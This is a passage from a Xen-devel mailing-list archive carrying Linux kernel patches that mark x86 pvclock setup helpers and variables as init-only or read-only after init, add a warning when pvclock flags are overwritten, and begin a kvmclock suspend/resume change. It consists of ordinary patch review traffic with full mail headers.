 	struct vcpu_register_time_memory_area t;
 	struct pvclock_vsyscall_time_info *ti;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350659.1608186 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iM-0000Za-KS; Wed, 01 Jul 2026 19:35:18 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350659.1608186; Wed, 01 Jul 2026 19:35:18 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iM-0000Ye-GV; Wed, 01 Jul 2026 19:35:18 +0000
Received: by outflank-mailman (input) for mailman id 1350659;
 Wed, 01 Jul 2026 19:35:17 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3emtFagYKCb8xjfsohlttlqj.htr2js-ij0jqqnxyx.2jsuwtojhy.twl@flex--seanjc.bounces.google.com>)
 id 1wf0iL-0000Om-RX
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:17 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iL-003oQR-8A
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:17 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3emtFagYKCb8xjfsohlttlqj.htr2js-ij0jqqnxyx.2jsuwtojhy.twl@flex--seanjc.bounces.google.com>)
 id 6a456bbc-2eae-0a2a0a5409dd-0a2a450aa144-40
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:17 +0200
Received: from [209.85.215.202] (helo=mail-pg1-f202.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3emtFagYKCb8xjfsohlttlqj.htr2js-ij0jqqnxyx.2jsuwtojhy.twl@flex--seanjc.bounces.google.com>)
 id 6a456b7b-e40e-0a2a450a0019-d155d7cad925-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:16 +0200
Received: by mail-pg1-f202.google.com with SMTP id
 41be03b00d2f7-c916d17dd43so1230778a12.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934395; x=1783539195; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=gy5b+9Ie1Ki1M0iB4wQwCtkzcjH6HRhEeykN2jC/eJ8=;
        b=rWmBnnBCYRZ4Oc21boEFED1J2x0B1UJGWEeE1ot96PznZdbNEtpnLmoBOMI0jvcB7O
         RNcuGFeG4GB2oeSiN8PhrIEkb0IyB4MDOdnOSQOPv4i3xbHFc1zZSkJN3V2T/LYOgiFx
         pT9GpoeQGCg1VkrFSb5zQ/q9piHFNQTeSmuVdJScsFKDSC5APEfaCnhDuYoNnguDyS7u
         v0g8Su8B8JZuhXzVT03s8iqrpbANsZ6xBHKaI6LQcXHElSkBD8wTdbFy2q7e+rZ2L+bE
         RcvoSq24554CiWE25RlIZSy+3IZVdpW/LeqE4lfvxVI5XgwbpV5LZoV3OMn8AbKl+/gZ
         R9ug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934395; x=1783539195;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=gy5b+9Ie1Ki1M0iB4wQwCtkzcjH6HRhEeykN2jC/eJ8=;
        b=FbNsNHdLOqmx5ZLTlBbLdYXFu2ngBRxvbxv3jdwCJ8M/6gZQE8gGfoPQHFQOr8G2OK
         7bxbJF0y4F/U4aFg56oqEPFqj5JE2+ViOxKKIBBN5vh49bRb+ntjyOVomyddCJj4xiXd
         /dvsA/9IqwDS0uABD8GJblfre8v10bNizAgD437Oyi0lBotAhW2709RzeN6EA/+OVDl0
         sjJ3+aBb2JiO9uVd2gAWrkHiKMif5hYU0r4YTAMLcpP592/FT7KgPfM0Ny8VihEjlZ42
         vAEgb4T1/Mn7jo3/LXrDrCZKUsI4M44BzpQ78ii5HmZlMu6JdnkstSg/lF1T3uTfQKzA
         TiKA==
X-Forwarded-Encrypted: i=1; AHgh+RrX2hcZbUflFUhJjV+ixfLlofW6/MBH1Z2b3EraNT5dUBcdOnPczZPMokGE9UimM1hnpJSDdCnrBaA=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyJLHmu5xX8EAsm11hLMbrQYCa+ToroG9ctSJWj5glGSzZIQm2E
	r+SaBAbfdUd8TZdd7UZ2CdLKrH6jI4laemvWo1jvn3kHxf/zUPkudfrmwcQG3g6sxIZkv4Ojauf
	fWL7xXA==
X-Received: from pfbbk23.prod.google.com ([2002:aa7:8317:0:b0:846:7503:7350])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:3d56:b0:845:36a0:9eb2
 with SMTP id d2e1a72fcca58-847c096d1f0mr2944243b3a.34.1782934394416; Wed, 01
 Jul 2026 12:33:14 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:00 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-40-seanjc@google.com>
Subject: [PATCH v5 39/51] x86/pvclock: Mark setup helpers and related various
 as __init/__ro_after_init
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-4011c0/1782934397-D472EDDE-E6EA5604/13/0
X-purgate-type: clean
X-purgate-size: 1388

Now that Xen PV clock and kvmclock explicitly do setup only during init,
tag the common PV clock flags/vsyscall variables and their mutators with
__init.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/pvclock.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/x86/kernel/pvclock.c b/arch/x86/kernel/pvclock.c
index b3f81379c2fc..a51adce67f92 100644
--- a/arch/x86/kernel/pvclock.c
+++ b/arch/x86/kernel/pvclock.c
@@ -16,10 +16,10 @@
 #include <asm/pvclock.h>
 #include <asm/vgtod.h>
 
-static u8 valid_flags __read_mostly = 0;
-static struct pvclock_vsyscall_time_info *pvti_cpu0_va __read_mostly;
+static u8 valid_flags __ro_after_init = 0;
+static struct pvclock_vsyscall_time_info *pvti_cpu0_va __ro_after_init;
 
-void pvclock_set_flags(u8 flags)
+void __init pvclock_set_flags(u8 flags)
 {
 	valid_flags = flags;
 }
@@ -153,7 +153,7 @@ void pvclock_read_wallclock(struct pvclock_wall_clock *wall_clock,
 	set_normalized_timespec64(ts, now.tv_sec, now.tv_nsec);
 }
 
-void pvclock_set_pvti_cpu0_va(struct pvclock_vsyscall_time_info *pvti)
+void __init pvclock_set_pvti_cpu0_va(struct pvclock_vsyscall_time_info *pvti)
 {
 	WARN_ON(vclock_was_used(VDSO_CLOCKMODE_PVCLOCK));
 	pvti_cpu0_va = pvti;
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350660.1608196 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iO-0000og-1M; Wed, 01 Jul 2026 19:35:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350660.1608196; Wed, 01 Jul 2026 19:35:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iN-0000np-Qz; Wed, 01 Jul 2026 19:35:19 +0000
Received: by outflank-mailman (input) for mailman id 1350660;
 Wed, 01 Jul 2026 19:35:19 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3e2tFagYKCcAykgtpimuumrk.ius3kt-jk1krroyzy.3ktvxupkiz.uxm@flex--seanjc.bounces.google.com>)
 id 1wf0iM-0000bx-UJ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iM-003ap0-Az
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:18 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3e2tFagYKCcAykgtpimuumrk.ius3kt-jk1krroyzy.3ktvxupkiz.uxm@flex--seanjc.bounces.google.com>)
 id 6a456bbe-bab6-0a2a0a5309dd-0a2a45079ec8-30
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:18 +0200
Received: from [209.85.210.201] (helo=mail-pf1-f201.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3e2tFagYKCcAykgtpimuumrk.ius3kt-jk1krroyzy.3ktvxupkiz.uxm@flex--seanjc.bounces.google.com>)
 id 6a456b7c-9c8e-0a2a45070019-d155d2c9c472-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:18 +0200
Received: by mail-pf1-f201.google.com with SMTP id
 d2e1a72fcca58-8479c6c6cbeso868238b3a.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934396; x=1783539196; darn=lists.xenproject.org;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:from:to:cc:subject:date:message-id:reply-to;
        bh=w419X+lYiD/kBIvhKaeAU2oxypXcdz+V5rg+/s/ZS+Q=;
        b=DjjcZzSR+k9Oz5zDcrL+fukPK1cHkSDwacxEyo8ZNr/Djo5z2qM8nZchCPU2qA65X5
         O5npMzQmAxvHEc3Y8RqKWsQC/xsg+EwPZmaxRKosEmTXT2FJspDNj2FcwfN8Gst6jK52
         GoNr5FJm6H1idCuYdDlPg+8WqcMlS59WVgrV0pVCxnES/7n54CQmJ50fyjIOV5+Zx/KH
         LIJgajKCDda02OTa8Rvpaq5TlvqMTp8iVvJH7BdFZSQPVil+QSmLPvsqC21MRLeKoW5k
         zGL6lcZdTmGo/Ix1JXl8kz/wfqi/l/w0qK0Nqf2ajpkL/6WEjcjpVybGyLObfYZ4mXGI
         hEhg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934396; x=1783539196;
        h=cc:to:from:subject:message-id:references:mime-version:in-reply-to
         :date:reply-to:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=w419X+lYiD/kBIvhKaeAU2oxypXcdz+V5rg+/s/ZS+Q=;
        b=Qc4kxRR6+9YiUgBMKk3JbF62NAPp41ZNtMyabEoynrqdpnRpBV0kc0YOmK7fFO9YM3
         AdbBm3JiNYTI6YFONh8IGoXw9+MPMjuQ9gI7p2wyMQ5IivWYCgXnTYbHZuiifvSNslN+
         uC2Ckc7AqveBSWaG9fY8AvbzVMg7Ccl4RsZYgmkAqD3w39fSEYrem2Lex4eTTecYqg4r
         RNLvn0I509TpexqWWIqHGLRYb8hBAFiJtObNzTfPk8/IDbMVNFxyKnwux5l8YPp0Qecb
         z0cEGT6M4i7U3tKdWo/kEaqXRI9mWOxWd8utr0cC6GSlOJpo8eRFcrDp9U95/be9aAbm
         IPVw==
X-Forwarded-Encrypted: i=1; AFNElJ940w30XK1lGfE9vlXzIub6kOzm2LMXTMe6LnhHJvq+2GBg4tETQ9izzyGrn+WvNPqnihL0qGsAIcQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy05ZMXNa4wZe0HvYWjTltK8OE+HVQ9tubKaSVxoVetYyz+EJ4H
	4USy/NXu2LcHS/adkWeY+XeVW8tkYsGk8Zl8ZhF1gt68Fo9T8VB2hPEUWKu0AFyyIcVlH/b5yGb
	wQbW5uQ==
X-Received: from pfbdf8.prod.google.com ([2002:a05:6a00:4708:b0:847:a13f:28e2])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a00:a112:b0:847:8f7c:fa10
 with SMTP id d2e1a72fcca58-847c0894ebamr2717987b3a.35.1782934395673; Wed, 01
 Jul 2026 12:33:15 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:01 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-41-seanjc@google.com>
Subject: [PATCH v5 40/51] x86/pvclock: WARN if pvclock's valid_flags are overwritten
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-ef75cf/1782934398-7C52825E-B5FC3110/13/0
X-purgate-type: clean
X-purgate-size: 784

WARN if the common PV clock valid_flags are overwritten; all PV clocks
expect that they are the one and only PV clock, i.e. don't guard against
another PV clock having modified the flags.

Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
Signed-off-by: Sean Christopherson <seanjc@google.com>
---
 arch/x86/kernel/pvclock.c | 1 +
 1 file changed, 1 insertion(+)

diff --git a/arch/x86/kernel/pvclock.c b/arch/x86/kernel/pvclock.c
index a51adce67f92..8d098841a225 100644
--- a/arch/x86/kernel/pvclock.c
+++ b/arch/x86/kernel/pvclock.c
@@ -21,6 +21,7 @@ static struct pvclock_vsyscall_time_info *pvti_cpu0_va __ro_after_init;
 
 void __init pvclock_set_flags(u8 flags)
 {
+	WARN_ON(valid_flags);
 	valid_flags = flags;
 }
 
-- 
2.55.0.rc0.799.gd6f94ed593-goog



From xen-devel-bounces@lists.xenproject.org Wed Jul 01 19:35:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 19:35:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350662.1608204 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iS-0001GE-9S; Wed, 01 Jul 2026 19:35:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350662.1608204; Wed, 01 Jul 2026 19:35:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wf0iS-0001Fy-3u; Wed, 01 Jul 2026 19:35:24 +0000
Received: by outflank-mailman (input) for mailman id 1350662;
 Wed, 01 Jul 2026 19:35:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3f2tFagYKCcQ2okxtmqyyqvo.myw7ox-no5ovvs232.7oxz1ytom3.y1q@flex--seanjc.bounces.google.com>)
 id 1wf0iQ-0001A9-Fs
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 19:35:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wf0iP-003aqt-T6
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 21:35:21 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3f2tFagYKCcQ2okxtmqyyqvo.myw7ox-no5ovvs232.7oxz1ytom3.y1q@flex--seanjc.bounces.google.com>)
 id 6a456bbb-5cb7-0a2a0a5109dd-0a2a4501a4e0-42
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:35:21 +0200
Received: from [209.85.216.74] (helo=mail-pj1-f74.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3f2tFagYKCcQ2okxtmqyyqvo.myw7ox-no5ovvs232.7oxz1ytom3.y1q@flex--seanjc.bounces.google.com>)
 id 6a456b80-400f-0a2a45010019-d155d84aec73-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 21:33:21 +0200
Received: by mail-pj1-f74.google.com with SMTP id
 98e67ed59e1d1-380a638fb5bso818813a91.0
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 12:33:21 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date:Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1782934400; x=1783539200; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:reply-to:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=VKCobU9qtcP/hN9BlhIiU1X9DFbnjtpoNJAd58RipCc=;
        b=rcCjALW3koXQzp5m8P/9B2zVS6Ba8IrfVJqjqUlnREgjQ4xBbM5BeomSKrt0qc7gCk
         atqK2YDoqUCHl7Ev4Q666lbBu03VYsFiGFLgPQhcl+hRSBitbUq56g0/xOetPaVnlDwJ
         iWnMExN3UiFEioWJKzmHTYbxuwz/2wEzbnquDxz/FDPwZLHqL0gqJ8InrCVquqtcXrl1
         EFYIwhbAU9yqimnaSp7dKN9yCDpS1YXQtgD+qh2VN+gpyFkcx/BswtK3OC0PS3/bKcuB
         H5q/M5hpLJpJMLqiTIRBYkb/mn/tXF9KJK6SMadbaQHgbcN0ZHGRLWeat/5qbLjbfpYY
         Le6g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782934400; x=1783539200;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:reply-to:x-gm-message-state:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=VKCobU9qtcP/hN9BlhIiU1X9DFbnjtpoNJAd58RipCc=;
        b=rbxGDCUgjT9sc9dN1SkRBqMSAYoYWmxqdsFzxo4xhsweoG5QOo0SfNDPSWCO6cazz0
         qEOmiMbQJKbaQOsnTgucyNRzN1FTuQdwtR7h0G5/F/o2XO3mVQzAPOta0XNgDliVfNXY
         WWgJz2Wim17UwB/YGoXGU7qUexq9qunJXvU0xaI1ek+e4/r4prxm/TVTySVuTE5caXg2
         e/HPIfPubZrtq2VFG40rKSD8zuPIlCVXg4+SGPqDW7qO6wcLRTTwQ9Bs3tAoaGq6yMWJ
         nNBPNO9bA9QedvxOZf1O114JYekYUOPqQl/lVu5TSVcMC0Uy2qhbXlIh7JVFywXtq1zY
         YSpQ==
X-Forwarded-Encrypted: i=1; AHgh+RpoqhGqxeor6cIRZ80fFlB3Uu4UXjc+/neheDDrXwy+SjOA8slSx77Hx0F22aqW1zAMroZfSmSHwD4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyDuVXDpfZ4n/OEqO+GveLRVuq3+wa0e35/HKy5Pk4bvjilYUNv
	ljIZ7ZxXQlCo2I0I1yZhWlYuj4tsOXEgB54iGAR3uhcWF8/w+QeSEVJKWiVBeRUsd9ZdL9+Aupc
	qdqbzDg==
X-Received: from pjqu11.prod.google.com ([2002:a17:90a:ae8b:b0:37d:8595:7a08])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:90b:180e:b0:37f:ff9d:ad69
 with SMTP id 98e67ed59e1d1-380ba80c706mr2175388a91.7.1782934399271; Wed, 01
 Jul 2026 12:33:19 -0700 (PDT)
Reply-To: Sean Christopherson <seanjc@google.com>
Date: Wed,  1 Jul 2026 12:32:04 -0700
In-Reply-To: <20260701193212.749551-1-seanjc@google.com>
Mime-Version: 1.0
References: <20260701193212.749551-1-seanjc@google.com>
X-Mailer: git-send-email 2.55.0.rc0.799.gd6f94ed593-goog
Message-ID: <20260701193212.749551-44-seanjc@google.com>
Subject: [PATCH v5 43/51] x86/kvmclock: Hook clocksource.suspend/resume when
 kvmclock isn't sched_clock
From: Sean Christopherson <seanjc@google.com>
To: Jonathan Corbet <corbet@lwn.net>, Paolo Bonzini <pbonzini@redhat.com>, 
	Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	Kiryl Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, 
	Sean Christopherson <seanjc@google.com>, "K. Y. Srinivasan" <kys@microsoft.com>, 
	Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>, 
	Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>, 
	Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov <alexey.makhalov@broadcom.com>, 
	Jan Kiszka <jan.kiszka@siemens.com>, Andy Lutomirski <luto@kernel.org>, 
	Peter Zijlstra <peterz@infradead.org>, Juergen Gross <jgross@suse.com>, 
	Daniel Lezcano <daniel.lezcano@kernel.org>, John Stultz <jstultz@google.com>
Cc: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>, 
	Vitaly Kuznetsov <vkuznets@redhat.com>, 
	Broadcom internal kernel review list <bcm-kernel-feedback-list@broadcom.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>, linux-doc@vger.kernel.org, 
	kvm@vger.kernel.org, linux-kernel@vger.kernel.org, linux-coco@lists.linux.dev, 
	linux-hyperv@vger.kernel.org, virtualization@lists.linux.dev, 
	xen-devel@lists.xenproject.org, Tom Lendacky <thomas.lendacky@amd.com>, 
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>, 
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>, 
	Thomas Gleixner <tglx@linutronix.de>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-d62444/1782934401-83CCE1E0-426599FE/0/0
X-purgate-type: clean
X-purgate-size: 2034

Save/restore kvmclock across suspend/resume via clocksource hooks when
kvmclock isn't being used for sched_clock.  This will allow using kvmclock
as a clocksource (or for wallclock!) without also using it for sched_clock.

